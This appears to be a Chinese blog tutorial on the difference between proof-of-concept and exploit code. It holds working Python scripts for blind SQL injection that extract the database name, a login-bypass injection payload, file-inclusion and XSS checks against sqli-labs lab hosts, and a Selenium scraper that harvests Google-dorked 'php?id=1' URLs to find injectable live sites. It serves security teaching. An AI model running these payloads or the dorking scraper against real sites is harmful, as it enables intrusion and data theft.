Python的POC和EXP区别是什么

本篇内容介绍了“Python的POC和EXP区别是什么”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!

0x00 POC概念

POC (Proof of Concept), 直译为“概念证明”,百度百科的权威定义如下:“概念证明是证实发布的漏洞真实性的测试代码”。==》poc的要求:确定性,能够验证漏洞真实存在。

它可能仅仅只是一小段代码,功能也比较简单,只要能够用来验证某一个或者一类漏洞真实存在即可。编写POC的门槛并不是很高,关键还是在于对漏洞本身的理解。

0x01 POC编写框架

POC框架可以对大量POC进行管理与调度,提供了统一的编程规范与接口,是编写POC很好的帮手。我们只需要按照框架自定义的格式写好POC.然后放在框架中运行即可。

1. Pocsuite

Pocsuite框架现为知道创宇Seebug平台通用的漏洞验证框架,使用Python编写POC。可以提交POC换kb, kb可以用来兑换现金,挣点零花钱还是相当不错的。老司机们可能听过Sebug,那是Seebug的前身, 2016年Sebug收购了另一个优秀框架Beebeeto后,更名为Seebug。

2. Tangscan

Tangscan (唐朝扫描器)是wooyun社区的官方框架,使用Python编写POC。可以提交POC换汤圆,参与现金分红。

3. Bugscan

Bugscan是四叶草的官方框架,使用Python编写POC。提交POC插件获取rank奖励,可兑换实物奖励,奖品还是蛮丰富的。

0x02 POC和EXP区别

POC可以看成是一段验证的代码, 就像是一个证据, 能够证明漏洞的真实性。

EXP (Exploit) :中文直译为“漏洞利用”,简单点讲,就是通过EXP能够实现漏洞的利用价值。比如某个系统存在SQL注入漏洞,我们可以编写EXP来提取数据库版本信息等。

但是有时两者也不太好区分。我们也可以在POC中加入Exploit的代码,现在很多开源的POC框架其实就是这样做的,比如下面会讲到的几个框架。我们可以这么认为:有POC不一定有EXP,但有EXP一定有POC。前半段是指,有poc但不一定所有都可以利用来完成有效攻击,所以不一定有exp。后半段是指,有可以用于进行有效攻击的漏洞那一定存在exp。

0x03 POC、EXP盲注练习---sql-labs-master

  1. 判断注入闭合方式

'''
布尔盲注:http://192.168.30.164/sqli/Less-5/
判断是否存在单引号闭合的sql注入
poc编写:结果有或者没有
'''
import requests

def verify(url):
    payload1 = "?id=1' and 1=1 --+"
    payload2 = "?id=1' and 1=2 --+"
    resp1 = requests.get(url+payload1)
    resp2 = requests.get(url+payload2)

    text1 = resp1.text
    text2 = resp2.text
    print(text2)
    if ('You are in' in text1) and ('You are in' not in text2):
        print(url,':存在单引号闭合的sql注入(盲注)')
    else:
        print(url,':不存在单引号闭合的sql注入(盲注)')
verify('http://192.168.30.164/sqli/Less-5/')

      2.判断数据库长度 ==》数据库名字最长为64 数据表名字最长为64 字段名字最长为64

import requests

def verify(url):
    for i in range(1,20):
        payload1 = "?id=1' and length(database())={} --+".format(i)
        resp1 = requests.get(url+payload1)
        text1 = resp1.text
        if 'You are in' in text1:
            print('database长度为:%s'%i)
            break
if __name__=='__main__':
    url = "http://192.168.30.164/sqli/Less-5/"
    verify(url)

      3.判断数据库名

'''
exp的小练习啦
布尔盲注:http://192.168.30.164/sqli/Less-5/
You are in
'''

import requests

def verify(url):
    # length = []
    for i in range(1,8):
        list = 'abcdefghijklmnopqrstuvwxyz'
        for k in range(1,26):
            j = list[k]
            # payload1 = "?id=1' and length(database())={} --+".format(i)
            payload1 = "?id=1' and substr(database(),{},1)='{}' --+".format(i,j)
            resp1 = requests.get(url+payload1)
            text1 = resp1.text
            if 'You are in' in text1:
                print('database为:%s'%j)
                break

if __name__=='__main__':
    url = "http://192.168.30.164/sqli/Less-5/"
    verify(url)

# j = input('请输入想玩耍关卡:')
# verify('http://192.168.30.164/sqli/Less-{}/'.format(j))
# verify('http://192.168.30.164/sqli/Less-5/')

0x04 POC的post型练习---sql-labs-master 

      post型的SQL注入,需要在获取其url的基础上再获取表单中传的值,具体可通过burpsuite来抓包进行分析获得。在python中将所传的值放入请求以键值对的形式上传。

'''
Post poc
http://192.168.30.164/sqli/Less-11/
'''
import requests

url = "http://192.168.30.164/sqli/Less-11/"
payloads = "admin' or '1'='1 #"
response = requests.post(url,data={'uname':payloads,'passwd':123})
html = response.text
print(html)
if 'Your Login name' in html:
    print('Post注入')

0x05 POC的文件包含练习

      文件包含:

  • 本地文件包含  =》http://127.0.0.1/1/lfi.php?file=phpinfo.txt

  • 远程文件包含  =》需要开启 allow_url_include,默认是off。远程文件包含?file=http://远程文件地址

"""
文件包含 poc
http://127.0.0.1/1/lfi.php?file=phpinfo.txt
"""
import requests

def verify(url):
    payload = '?file=phpinfo.txt'
    reaponse = requests.get(url+payload)
    html_str = reaponse.text
    if 'PHP Version' in html_str:
        print('存在本地文件包含')
    else:
        print('不存在')
if __name__ == '__main__':
    verify(url="http://127.0.0.1/1/lfi.php")

0x06 POC的XSS练习

      XSS是除SQL注入外第二大的漏洞,类别有:反射型XSS,存储型XSS,DOM型XSS。

      XSS可以做什么:

  • 蠕虫 ==》帅的一批

  • 获取cookie

  • 获取被攻击者真实ip:javascript 本身不具备此功能

  • 识别用户安装的软件

  • XSS钓鱼

  • 截图

  • 键盘记录

  • 访问浏览器的访问记录

  • 内网扫描

"""
xss跨站脚本攻击
弹窗
http://127.0.0.1/1/xss.php?title=%3C/title%3E%3Cscript%3Ealert(123)%3C/script%3E
"""
import requests
import re
def POC():
    response = requests.get('http://127.0.0.1/1/xss.php?title=</title><script>alert(123)</script>')
    res = response.text
    if re.search('alert\(123\)',res):
        return True
    else:
        return False
if __name__ == '__main__':
    print(POC())

0x07 谷歌语法:通过inurl=php?id=1来搜索出可能含有注入点的网站

1.谷歌语法

site:可以限制你搜索范围的域名.

inurl:用于搜索网页上包含的URL,这个语法对寻找网页上的搜索,帮助之类的很有用.

intext: 只搜索网页<body>部分中包含的文字(也就是忽略了标题、URL等的文字)

intitle: 查包含关键词的页面,一般用于社工别人的webshell密码

filetype:搜索文件的后缀或者扩展名

intitle:限制你搜索的网页标题.

link: 可以得到一个所有包含了某个指定URL的页面列表.

2.google语法模拟点击

"""
selenium爬虫
1.通过google语法批量获取 php?id=1 d的url
2.url存到文件中:urls.txt
"""

from selenium import webdriver
import time
import re

# #设置无头
# chrome_option =

dirver = webdriver.Chrome(r'G:\python\file\chromedriver.exe')   #创建谷歌浏览器对象,打开谷歌浏览器
dirver.get('https://www.google.com/search?q=inurl:php?id=1')

for i in range(10):
    time.sleep(1.5)
    dirver.execute_script('window.scrollTo(0,document.body.scrollHeight)')
    html_str = dirver.page_source  # 获取源码
    #数据解析
    # test = dirver.find_element_by_xpath('//a[@id="pnnext"]/span[2]')
    pattern = re.compile('<div class="r"><a href="(.*?)"',re.S)
    #点击下一页
    # test = dirver.find_element_by_link_text('下一页')
    test = dirver.find_element_by_class_name('r')[0] #定位到一个元素
    result = re.findall(pattern,html_str)
    test.click()  # 模拟点击
    print(result)

dirver.close()                #关闭浏览器

0x08 Selenium实现模拟登录

1.selenium

selenium 是一个用于Web应用程序测试的工具。Selenium测试直接运行在浏览器中,就像真正的用户在操作一样。selenium的核心Selenium Core基于JsUnit,完全由JavaScript编写,因此可以用于任何支持JavaScript的浏览器上。selenium可以模拟真实浏览器,自动化测试工具,支持多种浏览器,爬虫中主要用来解决JavaScript渲染问题。

2.selenium实现模拟登录

"""
selenium实现模拟登录
"""
from selenium import webdriver
import time
driver = webdriver.Chrome()                  #Chrome()是一个对象来着
url = 'http://192.168.30.164/sqli/Less-11/'
driver.get(url)
print(driver.page_source)

username = driver.find_element_by_xpath('/html/body/div[2]/div/form/div[1]/input')
password = driver.find_element_by_xpath('/html/body/div[2]/div/form/div[2]/input')
submit = driver.find_element_by_xpath('//form/div[3]/input')    #双斜杠指从任意位置到当前的位置

username.clear()
username.send_keys('admin')
time.sleep(1)
password.clear()
password.send_keys('admin')
time.sleep(1)
submit.click()
time.sleep(5)

driver.close()

“Python的POC和EXP区别是什么”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识可以关注蜗牛博客网站,小编将为大家输出更多高质量的实用文章!

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:niceseo99@gmail.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

评论

有免费节点资源,我们会通知你!加入纸飞机订阅群

×
天气预报查看日历分享网页手机扫码留言评论Telegram